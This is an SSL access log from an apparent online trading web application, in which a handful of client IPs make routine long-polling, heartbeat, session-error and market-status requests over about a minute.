[09/Jan/2026:12:13:06 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:13:06 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:13:06 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932255474 HTTP/1.1" -
[09/Jan/2026:12:13:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932255936 HTTP/1.1" -
[09/Jan/2026:12:13:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932255279 HTTP/1.1" -
[09/Jan/2026:12:13:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932257687 HTTP/1.1" -
[09/Jan/2026:12:13:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932257334 HTTP/1.1" -
[09/Jan/2026:12:13:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932260326 HTTP/1.1" -
[09/Jan/2026:12:13:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932260326 HTTP/1.1" -
[09/Jan/2026:12:13:11 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932260573 HTTP/1.1" -
[09/Jan/2026:12:13:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932261082 HTTP/1.1" -
[09/Jan/2026:12:13:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932260416 HTTP/1.1" -
[09/Jan/2026:12:13:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932262731 HTTP/1.1" -
[09/Jan/2026:12:13:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:13:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:13:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:13:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:13:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932263326 HTTP/1.1" -
[09/Jan/2026:12:13:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932265787 HTTP/1.1" -
[09/Jan/2026:12:13:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932266217 HTTP/1.1" -
[09/Jan/2026:12:13:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932266325 HTTP/1.1" -
[09/Jan/2026:12:13:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932266324 HTTP/1.1" -
[09/Jan/2026:12:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932265526 HTTP/1.1" -
[09/Jan/2026:12:13:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932267780 HTTP/1.1" -
[09/Jan/2026:12:13:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:13:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:13:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:13:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:13:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932269325 HTTP/1.1" -
[09/Jan/2026:12:13:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:13:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:13:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:13:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:13:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932271090 HTTP/1.1" -
[09/Jan/2026:12:13:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932271275 HTTP/1.1" -
[09/Jan/2026:12:13:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932270654 HTTP/1.1" -
[09/Jan/2026:12:13:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932272331 HTTP/1.1" -
[09/Jan/2026:12:13:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:13:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932272331 HTTP/1.1" -
[09/Jan/2026:12:13:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:13:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932272823 HTTP/1.1" -
[09/Jan/2026:12:13:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:13:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:12:13:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932275334 HTTP/1.1" -
[09/Jan/2026:12:13:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932276331 HTTP/1.1" -
[09/Jan/2026:12:13:27 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932276290 HTTP/1.1" -
[09/Jan/2026:12:13:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932277847 HTTP/1.1" -
[09/Jan/2026:12:13:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932278326 HTTP/1.1" -
[09/Jan/2026:12:13:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932278326 HTTP/1.1" -
[09/Jan/2026:12:13:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932281334 HTTP/1.1" -
[09/Jan/2026:12:13:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932281442 HTTP/1.1" -
[09/Jan/2026:12:13:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932281554 HTTP/1.1" -
[09/Jan/2026:12:13:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932282869 HTTP/1.1" -
[09/Jan/2026:12:13:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932284333 HTTP/1.1" -
[09/Jan/2026:12:13:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932284333 HTTP/1.1" -
[09/Jan/2026:12:13:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:13:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:13:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932286578 HTTP/1.1" -
[09/Jan/2026:12:13:37 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932286767 HTTP/1.1" -
[09/Jan/2026:12:13:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932287338 HTTP/1.1" -
[09/Jan/2026:12:13:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932287913 HTTP/1.1" -
[09/Jan/2026:12:13:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932290327 HTTP/1.1" -
[09/Jan/2026:12:13:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932290327 HTTP/1.1" -
[09/Jan/2026:12:13:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932291714 HTTP/1.1" -
[09/Jan/2026:12:13:43 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932291884 HTTP/1.1" -
[09/Jan/2026:12:13:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932292953 HTTP/1.1" -
[09/Jan/2026:12:13:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:13:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:13:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:13:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932293332 HTTP/1.1" -
[09/Jan/2026:12:13:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:13:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932296329 HTTP/1.1" -
[09/Jan/2026:12:13:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932296330 HTTP/1.1" -
[09/Jan/2026:12:13:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932296837 HTTP/1.1" -
[09/Jan/2026:12:13:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932297145 HTTP/1.1" -
[09/Jan/2026:12:13:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932297981 HTTP/1.1" -
[09/Jan/2026:12:13:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:13:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:13:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:13:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:13:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932299330 HTTP/1.1" -
[09/Jan/2026:12:13:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932301905 HTTP/1.1" -
[09/Jan/2026:12:13:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932302327 HTTP/1.1" -
[09/Jan/2026:12:13:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932302327 HTTP/1.1" -
[09/Jan/2026:12:13:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932302356 HTTP/1.1" -
[09/Jan/2026:12:13:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:13:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:13:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932303027 HTTP/1.1" -
[09/Jan/2026:12:13:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932305326 HTTP/1.1" -
